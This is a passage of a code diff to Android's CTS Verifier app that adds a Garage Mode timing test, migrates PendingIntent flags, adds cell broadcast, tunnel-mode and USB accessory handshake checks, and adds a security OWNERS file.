+ // [8.3/A-1-3] MUST support Garage Mode
+ // [8.3/A-1-4] SHOULD be in Garage Mode for at least 15 minutes unless:
+ // The battery is drained.
+ // No idle jobs are scheduled.
+ // The driver exits Garage Mode.
+ //
+ // I understand that Google intends to require that Garage Mode is occasionally
+ // allowed to run at least 30 seconds. This code tests for that minimum time.
+
+ private static final String TAG = GarageModeTestActivity.class.getSimpleName();
+
+ // The recommendation is for Garage Mode to run for 15 minutes. To allow
+ // for some variation, run the test for 14 minutes and verify that it
+ // ran at least 13 minutes.
+ private static final int NUM_SECONDS_DURATION = 14 * 60;
+ private static final long RECOMMENDED_DURATION_MS = (NUM_SECONDS_DURATION - 60) * 1000L;
+
+ // The hard requirement is for Garage Mode to run for 30 seconds. Fail if
+ // the test doesn't run at least this long.
+ private static final long REQUIRED_DURATION_MS = 30 * 1000L;
+
+ // Once a test is started, Garage Mode is expected to start within 10 minutes. If it doesn't,
+ // the test is marked as fail.
+ private static final long MAX_WAIT_UNTIL_GARAGE_MODE = 10 * 60 * 1000L;
+
+ private TextView mStatusText;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ View view = getLayoutInflater().inflate(R.layout.garage_test_main, null);
+ setContentView(view);
+
+ setInfoResources(R.string.car_garage_mode_test, R.string.car_garage_mode_test_desc, -1);
+ setPassFailButtonClickListeners();
+ getPassButton().setEnabled(false);
+ mStatusText = findViewById(R.id.car_garage_mode_results);
+
+ // Garage Mode Monitor
+ Button monitorButton = (Button) view.findViewById(R.id.launch_garage_monitor);
+ monitorButton.setOnClickListener((buttonView) -> {
+ Context context = GarageModeTestActivity.this;
+ SharedPreferences prefs = context.getSharedPreferences(
+ GarageModeChecker.PREFS_FILE_NAME, Context.MODE_PRIVATE);
+ long now = System.currentTimeMillis();
+ SharedPreferences.Editor editor = prefs.edit();
+ editor.putLong(GarageModeChecker.PREFS_INITIATION, now);
+ editor.putLong(GarageModeChecker.PREFS_GARAGE_MODE_START, 0);
+ editor.putLong(GarageModeChecker.PREFS_GARAGE_MODE_END, 0);
+ editor.putLong(GarageModeChecker.PREFS_TERMINATION, 0);
+ editor.putBoolean(GarageModeChecker.PREFS_HAD_CONNECTIVITY, false);
+ editor.commit();
+
+ GarageModeChecker.scheduleAnIdleJob(context, NUM_SECONDS_DURATION);
+ verifyStatus();
+ Log.v(TAG, "Scheduled GarageModeChecker to run when idle");
+ });
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ verifyStatus();
+ }
+
+ @Override
+ public void onWindowFocusChanged(boolean hasWindowFocus) {
+ super.onWindowFocusChanged(hasWindowFocus);
+ if (hasWindowFocus) {
+ verifyStatus();
+ }
+ }
+
+ private void verifyStatus() {
+ Context context = GarageModeTestActivity.this;
+ SharedPreferences prefs = context.getSharedPreferences(
+ GarageModeChecker.PREFS_FILE_NAME, Context.MODE_PRIVATE);
+ String resultsString;
+ DateFormat dateTime = DateFormat.getDateTimeInstance();
+
+ long now = System.currentTimeMillis();
+ long initiateTime = prefs.getLong(GarageModeChecker.PREFS_INITIATION, 0);
+ long garageModeStart = prefs.getLong(GarageModeChecker.PREFS_GARAGE_MODE_START, 0);
+ long garageModeEnd = prefs.getLong(GarageModeChecker.PREFS_GARAGE_MODE_END, 0);
+ long termination = prefs.getLong(GarageModeChecker.PREFS_TERMINATION, 0);
+ long jobUpdate = prefs.getLong(GarageModeChecker.PREFS_JOB_UPDATE, 0);
+ boolean hadConnectivity = prefs.getBoolean(GarageModeChecker.PREFS_HAD_CONNECTIVITY, false);
+
+ boolean testPassed = false;
+ if (initiateTime == 0) {
+ resultsString = "No results are available.\n\n"
+ + "Perform the indicated steps to run the test.";
+ } else if (garageModeStart == 0) {
+ if (now < initiateTime + MAX_WAIT_UNTIL_GARAGE_MODE) {
+ resultsString = String.format("Waitng for Garage Mode to start.\n\n"
+ + "%s -- Test was enabled",
+ dateTime.format(initiateTime));
+ } else {
+ resultsString = String.format("Test failed.\n"
+ + "Garage Mode did not run.\n\n"
+ + "%s -- Test was enabled",
+ dateTime.format(initiateTime));
+ }
+ } else if (garageModeEnd > (garageModeStart + RECOMMENDED_DURATION_MS)) {
+ testPassed = hadConnectivity;
+ resultsString = String.format("Test %s.\n"
+ + "Garage Mode ran as required and for the recommended time.\n"
+ + "Connectivity was %savailable.\n\n"
+ + "%s -- Test was enabled\n"
+ + "%s -- Garage mode started\n"
+ + "%s -- Garage mode completed",
+ (testPassed ? "Passed" : "Failed"),
+ (hadConnectivity ? "" : "not "),
+ dateTime.format(initiateTime), dateTime.format(garageModeStart),
+ dateTime.format(garageModeEnd));
+ } else if (termination > (garageModeStart + REQUIRED_DURATION_MS)) {
+ testPassed = hadConnectivity;
+ resultsString = String.format("Test %s.\n"
+ + "Garage Mode ran as required, "
+ + "but for less time than is recommended.\n"
+ + " The CDD recommends that Garage Mode runs for 15 minutes.\n"
+ + "Connectivity was %savailable.\n\n"
+ + "%s -- Test was enabled\n"
+ + "%s -- Garage mode started\n"
+ + "%s -- Garage mode was terminated",
+ (testPassed ? "Passed" : "Failed"),
+ (hadConnectivity ? "" : "not "),
+ dateTime.format(initiateTime), dateTime.format(garageModeStart),
+ dateTime.format(termination));
+ } else if (termination > 0) {
+ resultsString = String.format("Test Failed.\n"
+ + "Garage Mode ran, but for less than the required time.\n"
+ + " The minimum requirement is that Garage Mode runs for 30 seconds.\n"
+ + " The CDD recommends that Garage Mode runs for 15 minutes.\n"
+ + "Connectivity was %savailable.\n\n"
+ + "%s -- Test was enabled\n"
+ + "%s -- Garage mode started\n"
+ + "%s -- Garage mode was terminated",
+ (hadConnectivity ? "" : "not "),
+ dateTime.format(initiateTime), dateTime.format(garageModeStart),
+ dateTime.format(termination));
+ } else if (now < jobUpdate + GarageModeChecker.MS_PER_ITERATION * 2) {
+ resultsString = "Garage Mode started and test is running.\n\n"
+ + dateTime.format(initiateTime) + " -- Test was enabled\n"
+ + dateTime.format(garageModeStart) + " -- Garage mode started\n"
+ + dateTime.format(jobUpdate) + " -- Last job updated";
+ } else {
+ resultsString = "Test failed.\n\n"
+ + "Garage Mode started, but terminated unexpectedly.\n\n"
+ + dateTime.format(initiateTime) + " -- Test was enabled\n"
+ + dateTime.format(garageModeStart) + " -- Garage mode started";
+ }
+ mStatusText.setText(resultsString);
+ getPassButton().setEnabled(testPassed);
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/forcestop/RecentTaskRemovalTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/forcestop/RecentTaskRemovalTestActivity.java
index 0718d41..50d5f21 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/forcestop/RecentTaskRemovalTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/forcestop/RecentTaskRemovalTestActivity.java
@@ -121,12 +121,12 @@
.setPackage(getPackageName())
.addFlags(Intent.FLAG_RECEIVER_REGISTERED_ONLY);
final PendingIntent onTaskRemoved = PendingIntent.getBroadcast(this, 0,
- reportTaskRemovedIntent, 0);
+ reportTaskRemovedIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
final Intent reportAlarmIntent = new Intent(ACTION_REPORT_ALARM)
.setPackage(getPackageName())
.addFlags(Intent.FLAG_RECEIVER_REGISTERED_ONLY);
- final PendingIntent onAlarm = PendingIntent.getBroadcast(this, 0, reportAlarmIntent, 0);
+ final PendingIntent onAlarm = PendingIntent.getBroadcast(this, 0, reportAlarmIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
final Intent testActivity = new Intent()
.setClassName(HELPER_APP_NAME, HELPER_ACTIVITY_NAME)
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
index 8a7b624..33112e7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
@@ -528,14 +528,14 @@
session.fsync(out);
in.close();
out.close();
- session.commit(PendingIntent.getBroadcast(this, 0, new Intent(ACTION_INSTALL_COMPLETE), 0)
+ session.commit(PendingIntent.getBroadcast(this, 0, new Intent(ACTION_INSTALL_COMPLETE), PendingIntent.FLAG_MUTABLE_UNAUDITED)
.getIntentSender());
}
private void uninstallHelperPackage() {
try {
getPackageManager().getPackageInstaller().uninstall(HELPER_APP_PKG,
- PendingIntent.getBroadcast(this, 0, new Intent(ACTION_UNINSTALL_COMPLETE), 0)
+ PendingIntent.getBroadcast(this, 0, new Intent(ACTION_UNINSTALL_COMPLETE), PendingIntent.FLAG_MUTABLE_UNAUDITED)
.getIntentSender());
} catch (IllegalArgumentException e) {
// The package is not installed: that's fine
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
index 5328109..5f1243f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
@@ -19,8 +19,11 @@
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
import android.os.UserManager;
import android.provider.Settings;
+import android.provider.Telephony;
+import android.text.TextUtils;
import android.util.ArrayMap;
import com.android.cts.verifier.R;
@@ -240,7 +243,8 @@
boolean isCellBroadcastAppLinkEnabled = context.getResources().getBoolean(resId);
try {
if (isCellBroadcastAppLinkEnabled) {
- if (pm.getApplicationEnabledSetting("com.android.cellbroadcastreceiver")
+ String packageName = getDefaultCellBroadcastReceiverPackageName(context);
+ if (packageName == null || pm.getApplicationEnabledSetting(packageName)
== PackageManager.COMPONENT_ENABLED_STATE_DISABLED) {
isCellBroadcastAppLinkEnabled = false; // CMAS app disabled
}
@@ -273,6 +277,32 @@
}
}
+ /**
+ * Utility method to query the default CBR's package name.
+ * from frameworks/base/telephony/common/com/android/internal/telephony/CellBroadcastUtils.java
+ */
+ private static String getDefaultCellBroadcastReceiverPackageName(Context context) {
+ PackageManager packageManager = context.getPackageManager();
+ ResolveInfo resolveInfo = packageManager.resolveActivity(
+ new Intent(Telephony.Sms.Intents.SMS_CB_RECEIVED_ACTION),
+ PackageManager.MATCH_SYSTEM_ONLY);
+ String packageName;
+
+ if (resolveInfo == null) {
+ return null;
+ }
+
+ packageName = resolveInfo.activityInfo.applicationInfo.packageName;
+
+ if (TextUtils.isEmpty(packageName) || packageManager.checkPermission(
+ android.Manifest.permission.READ_CELL_BROADCASTS, packageName)
+ == PackageManager.PERMISSION_DENIED) {
+ return null;
+ }
+
+ return packageName;
+ }
+
private static class UserRestrictionItem {
final int label;
final int userAction;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NdefPushReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NdefPushReceiverActivity.java
index 377d068..3a7f520 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NdefPushReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NdefPushReceiverActivity.java
@@ -60,7 +60,7 @@
NfcManager nfcManager = (NfcManager) getSystemService(NFC_SERVICE);
mNfcAdapter = nfcManager.getDefaultAdapter();
mPendingIntent = PendingIntent.getActivity(this, 0, new Intent(this, getClass())
- .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), 0);
+ .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), PendingIntent.FLAG_MUTABLE_UNAUDITED);
}
@Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/TagVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/TagVerifierActivity.java
index d9166a5..faee902 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/TagVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/TagVerifierActivity.java
@@ -102,7 +102,7 @@
NfcManager nfcManager = (NfcManager) getSystemService(NFC_SERVICE);
mNfcAdapter = nfcManager.getDefaultAdapter();
mPendingIntent = PendingIntent.getActivity(this, 0, new Intent(this, getClass())
- .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), 0);
+ .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), PendingIntent.FLAG_MUTABLE_UNAUDITED);
goToWriteStep();
} else {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ActionTriggeredReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ActionTriggeredReceiver.java
index 409dcd9..ea48cce 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ActionTriggeredReceiver.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ActionTriggeredReceiver.java
@@ -59,7 +59,7 @@
Intent intent = new Intent(ACTION);
intent.setComponent(new ComponentName(context, ActionTriggeredReceiver.class));
PendingIntent pi = PendingIntent.getBroadcast(context, 0, intent,
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
return pi;
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
index 2d41e57..4972d00 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
@@ -534,7 +534,7 @@
private Notification.BubbleMetadata.Builder getIntentBubble() {
Context context = getApplicationContext();
Intent intent = new Intent(context, BubbleActivity.class);
- final PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, 0);
+ final PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
return new Notification.BubbleMetadata.Builder(pendingIntent,
Icon.createWithResource(getApplicationContext(),
@@ -546,14 +546,14 @@
@NonNull CharSequence content) {
Context context = getApplicationContext();
Intent intent = new Intent(context, BubbleActivity.class);
- final PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, 0);
+ final PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
Person person = new Person.Builder()
.setName("bubblebot")
.build();
RemoteInput remoteInput = new RemoteInput.Builder("reply_key").setLabel("reply").build();
PendingIntent inputIntent = PendingIntent.getActivity(getApplicationContext(), 0,
- new Intent(), 0);
+ new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Icon icon = Icon.createWithResource(getApplicationContext(), R.drawable.ic_android);
Notification.Action replyAction = new Notification.Action.Builder(icon, "Reply",
inputIntent).addRemoteInput(remoteInput)
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
index 0c7077e..21fcb84 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
@@ -415,7 +415,7 @@
Intent intent = new Intent(tag);
intent.setComponent(new ComponentName(mContext, DismissService.class));
PendingIntent pi = PendingIntent.getService(mContext, code, intent,
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
return pi;
}
@@ -423,7 +423,7 @@
Intent intent = new Intent(tag);
intent.setComponent(new ComponentName(mContext, ActionTriggeredReceiver.class));
PendingIntent pi = PendingIntent.getBroadcast(mContext, code, intent,
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
return pi;
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/os/TimeoutResetActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/os/TimeoutResetActivity.java
index be78556..253749b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/os/TimeoutResetActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/os/TimeoutResetActivity.java
@@ -89,7 +89,7 @@
0,
new Intent(activity, TimeoutResetActivity.class)
.putExtra(EXTRA_OLD_TIMEOUT, oldTimeout),
- 0));
+ PendingIntent.FLAG_MUTABLE_UNAUDITED));
}
});
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS
new file mode 100644
index 0000000..4241b61
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS
@@ -0,0 +1,6 @@
+# Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204 = per-file: CA*.java, Ca*.java, KeyChainTest.java
+# Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204 = per-file: LockConfirmBypassTest.java, SetNewPasswordComplexityTest.java
+# Bug component: 189335 = per-file: FingerprintBoundKeysTest.java, IdentityCredentialAuthentication.java, ProtectedConfirmationTest.java, ScreenLockBoundKeysTest.java
+per-file CA*.java, Ca*.java, KeyChainTest.java = alexkershaw@google.com, eranm@google.com, rubinxu@google.com, sandness@google.com, pgrafov@google.com
+per-file LockConfirmBypassTest.java, SetNewPasswordComplexityTest.java = alexkershaw@google.com, eranm@google.com, rubinxu@google.com, sandness@google.com, pgrafov@google.com
+per-file FingerprintBoundKeysTest.java, IdentityCredentialAuthentication.java, ProtectedConfirmationTest.java, ScreenLockBoundKeysTest.java = swillden@google.com
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
index b1ce20e..9bad7af 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
@@ -74,7 +74,7 @@
new IntentFilter(ACTION_ALARM));
Intent intent = new Intent(this, AlarmReceiver.class);
- mPendingIntent = PendingIntent.getBroadcast(this, 0, intent, 0);
+ mPendingIntent = PendingIntent.getBroadcast(this, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
mAlarmManager = (AlarmManager) getSystemService(ALARM_SERVICE);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/OffBodySensorTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/OffBodySensorTestActivity.java
index b80be40..3f5b736 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/OffBodySensorTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/OffBodySensorTestActivity.java
@@ -298,7 +298,7 @@
LocalBroadcastManager.getInstance(this).registerReceiver(myBroadCastReceiver,
new IntentFilter(ACTION_ALARM));
Intent intent = new Intent(this, AlarmReceiver.class);
- mPendingIntent = PendingIntent.getBroadcast(this, 0, intent, 0);
+ mPendingIntent = PendingIntent.getBroadcast(this, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
mAlarmManager = (AlarmManager) getSystemService(ALARM_SERVICE);
mScreenManipulator = new SensorTestScreenManipulator(this);
try {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
index e7e55f2..0a96886 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
@@ -198,7 +198,7 @@
SuspendStateMonitor suspendStateMonitor = new SuspendStateMonitor();
Intent intent = new Intent(this, AlarmReceiver.class);
- PendingIntent pendingIntent = PendingIntent.getBroadcast(this, 0, intent, 0);
+ PendingIntent pendingIntent = PendingIntent.getBroadcast(this, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
AlarmManager am = (AlarmManager) getSystemService(ALARM_SERVICE);
am.setExact(AlarmManager.ELAPSED_REALTIME_WAKEUP,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java
new file mode 100644
index 0000000..d99672d
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java
@@ -0,0 +1,131 @@
+package com.android.cts.verifier.tunnelmode;
+
+import android.app.Activity;
+import android.content.res.Resources;
+import android.media.AudioManager;
+import android.media.cts.MediaCodecTunneledPlayer;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.util.Log;
+import android.view.SurfaceHolder;
+import android.view.SurfaceView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.io.File;
+
+/**
+ * Test for verifying tunnel mode implementations properly handle content flushing. Plays a stream
+ * in tunnel mode, pause it, flush it, resume, and user can mark Pass/Fail depending on quality of
+ * the AV Sync. More details in go/atv-tunnel-mode-s.
+ * TODO: Implement the actual test. This is a placeholder implementation until the test design is
+ * stable and approved.
+ */
+public class MediaCodecFlushActivity extends PassFailButtons.Activity {
+ private static final String TAG = MediaCodecFlushActivity.class.getSimpleName();
+
+ private SurfaceHolder mHolder;
+ private int mAudioSessionId = 0;
+ private MediaCodecTunneledPlayer mPlayer;
+ private Handler mHandler;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.sv_play);
+ setPassFailButtonClickListeners();
+ disablePassButton();
+
+ SurfaceView surfaceView = (SurfaceView) findViewById(R.id.surface);
+ mHolder = surfaceView.getHolder();
+ mHolder.addCallback(new SurfaceHolder.Callback(){
+ public void surfaceCreated(SurfaceHolder holder) {
+ // TODO: Implement a start button, rather than playing the video as soon as the
+ // surface is ready
+ playVideo();
+ }
+
+ public void surfaceChanged(
+ SurfaceHolder holder, int format, int width, int height) {}
+ public void surfaceDestroyed(SurfaceHolder holder) {}
+ });
+
+ mHandler = new Handler(Looper.getMainLooper());
+
+ AudioManager am = (AudioManager) getApplicationContext().getSystemService(AUDIO_SERVICE);
+ mAudioSessionId = am.generateAudioSessionId();
+
+ mPlayer = new MediaCodecTunneledPlayer(mHolder, true, mAudioSessionId);
+
+ // TODO: Do not rely on the video being pre-loaded on the device
+ Uri mediaUri = Uri.fromFile(new File("/data/local/tmp/video.webm"));
+ mPlayer.setVideoDataSource(mediaUri, null);
+ mPlayer.setAudioDataSource(mediaUri, null);
+ }
+
+ private void playVideo() {
+ try {
+ mPlayer.start();
+ mPlayer.prepare();
+ mPlayer.startThread();
+ mHandler.postDelayed(this::pauseStep, 5000);
+ } catch(Exception e) {
+ Log.d(TAG, "Could not play video", e);
+ }
+ }
+
+ private void pauseStep() {
+ try {
+ mPlayer.pause();
+ mHandler.postDelayed(this::flushStep, 3000);
+ } catch(Exception e) {
+ Log.d(TAG, "Could not pause video", e);
+ }
+ }
+
+ private void flushStep() {
+ try {
+ mPlayer.flush();
+ mHandler.postDelayed(this::resumeStep, 3000);
+ } catch(Exception e) {
+ Log.d(TAG, "Could not flush video", e);
+ }
+ }
+
+ private void resumeStep() {
+ try {
+ mPlayer.start();
+ mHandler.postDelayed(this::enablePassButton, 3000);
+ } catch(Exception e) {
+ Log.d(TAG, "Could not resume video", e);
+ }
+ }
+
+ private void enablePassButton() {
+ getPassButton().setEnabled(true);
+ }
+
+ private void disablePassButton() {
+ getPassButton().setEnabled(false);
+ }
+
+ @Override
+ public void onPause() {
+ super.onPause();
+ if (mPlayer != null) {
+ mPlayer.pause();
+ }
+ }
+
+ @Override
+ public void onDestroy() {
+ super.onDestroy();
+ if (mPlayer != null) {
+ mPlayer.reset();
+ mPlayer = null;
+ }
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java
index 4f8a825..0127082 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java
@@ -125,14 +125,16 @@
getAsserter()
.withMessage("AudioTrack.isDirectPlaybackSupported is expected to return true"
- + " for PCM16 2 channel")
- .that(AudioTrack.isDirectPlaybackSupported(makeAudioFormat(ENCODING_PCM_16BIT, 44100, 2), audioAttributes))
+ + " for PCM 2 channel")
+ .that(AudioTrack.isDirectPlaybackSupported(
+ makeAudioFormat(ENCODING_PCM_16BIT, 44100, 2), audioAttributes))
.isTrue();
getAsserter()
.withMessage("AudioTrack.isDirectPlaybackSupported is expected to return false "
+ "for EAC3 6 channel")
- .that(AudioTrack.isDirectPlaybackSupported(makeAudioFormat(ENCODING_E_AC3, 44100, 6), audioAttributes))
+ .that(AudioTrack.isDirectPlaybackSupported(
+ makeAudioFormat(ENCODING_E_AC3, 44100, 6), audioAttributes))
.isFalse();
ImmutableList.Builder<String> actualAtmosFormatStrings = ImmutableList.builder();
@@ -171,14 +173,16 @@
getAsserter()
.withMessage("AudioTrack.isDirectPlaybackSupported is expected to return true"
- + " for PCM16 6 channel")
- .that(AudioTrack.isDirectPlaybackSupported(makeAudioFormat(ENCODING_PCM_16BIT, 44100, 6), audioAttributes))
+ + " for PCM 6 channel")
+ .that(AudioTrack.isDirectPlaybackSupported(
+ makeAudioFormat(ENCODING_PCM_16BIT, 44100, 6), audioAttributes))
.isTrue();
getAsserter()
.withMessage("AudioTrack.isDirectPlaybackSupported is expected to return true "
+ "for EAC3 6 channel")
- .that(AudioTrack.isDirectPlaybackSupported(makeAudioFormat(ENCODING_E_AC3, 44100, 6), audioAttributes))
+ .that(AudioTrack.isDirectPlaybackSupported(
+ makeAudioFormat(ENCODING_E_AC3, 44100, 6), audioAttributes))
.isTrue();
ImmutableList.Builder<String> actualAtmosFormatStrings = ImmutableList.builder();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
index c150132..512162c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
@@ -23,6 +23,10 @@
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
import android.hardware.usb.UsbAccessory;
import android.hardware.usb.UsbManager;
import android.os.AsyncTask;
@@ -49,6 +53,8 @@
import java.nio.charset.Charset;
import java.util.Arrays;
import java.util.Random;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
/**
* Guide the user to run test for the USB accessory interface.
@@ -63,6 +69,11 @@
private TextView mStatus;
private ProgressBar mProgress;
+ private BroadcastReceiver mUsbAccessoryHandshakeReceiver;
+
+ private Boolean mAccessoryStart = false;
+ private CompletableFuture<Void> mAccessoryHandshakeIntent = new CompletableFuture<>();
+
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
@@ -71,12 +82,29 @@
setInfoResources(
R.string.usb_accessory_test, R.string.usb_accessory_test_info, -1);
+ setPassFailButtonClickListeners();
mStatus = (TextView) findViewById(R.id.status);
mProgress = (ProgressBar) findViewById(R.id.progress_bar);
mStatus.setText(R.string.usb_accessory_test_step1);
getPassButton().setEnabled(false);
AccessoryAttachmentHandler.addObserver(this);
+
+ IntentFilter filter = new IntentFilter();
+ filter.addAction(UsbManager.ACTION_USB_ACCESSORY_HANDSHAKE);
+
+ mUsbAccessoryHandshakeReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ synchronized (UsbAccessoryTestActivity.this) {
+ mAccessoryStart = intent.getBooleanExtra(
+ UsbManager.EXTRA_ACCESSORY_START, false);
+ mAccessoryHandshakeIntent.complete(null);
+ }
+ }
+ };
+
+ registerReceiver(mUsbAccessoryHandshakeReceiver, filter);
}
@Override
@@ -84,6 +112,8 @@
mStatus.setText(R.string.usb_accessory_test_step2);
mProgress.setVisibility(View.VISIBLE);
+ final long accessroyStarTime = 3 * 1000;
+
AccessoryAttachmentHandler.removeObserver(this);
UsbManager usbManager = getSystemService(UsbManager.class);
@@ -242,6 +272,15 @@
ResultUnit.KBPS);
Log.i(LOG_TAG, "Read data transfer speed is " + speedKBPS + "KBPS");
+ nextTest(is, os, "Receive USB_ACCESSORY_HANDSHAKE intent");
+
+ mAccessoryHandshakeIntent.get(accessroyStarTime,
+ TimeUnit.MILLISECONDS);
+ assertTrue(mAccessoryStart);
+
+ unregisterReceiver(mUsbAccessoryHandshakeReceiver);
+ mUsbAccessoryHandshakeReceiver = null;
+
nextTest(is, os, "done");
}
}
@@ -299,6 +338,10 @@
protected void onDestroy() {
AccessoryAttachmentHandler.removeObserver(this);
+ if (mUsbAccessoryHandshakeReceiver != null) {
+ unregisterReceiver(mUsbAccessoryHandshakeReceiver);
+ }
